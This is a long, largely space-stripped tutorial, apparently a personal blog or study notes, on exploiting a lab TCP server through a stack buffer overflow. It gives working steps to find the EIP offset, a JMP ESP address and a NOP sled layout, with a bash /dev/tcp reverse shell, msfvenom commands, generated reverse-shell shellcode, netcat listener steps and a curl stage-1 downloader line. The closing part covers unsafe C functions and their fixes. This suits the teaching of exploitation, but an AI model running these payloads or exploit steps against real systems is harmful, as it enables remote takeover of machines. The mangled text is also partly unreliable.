WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
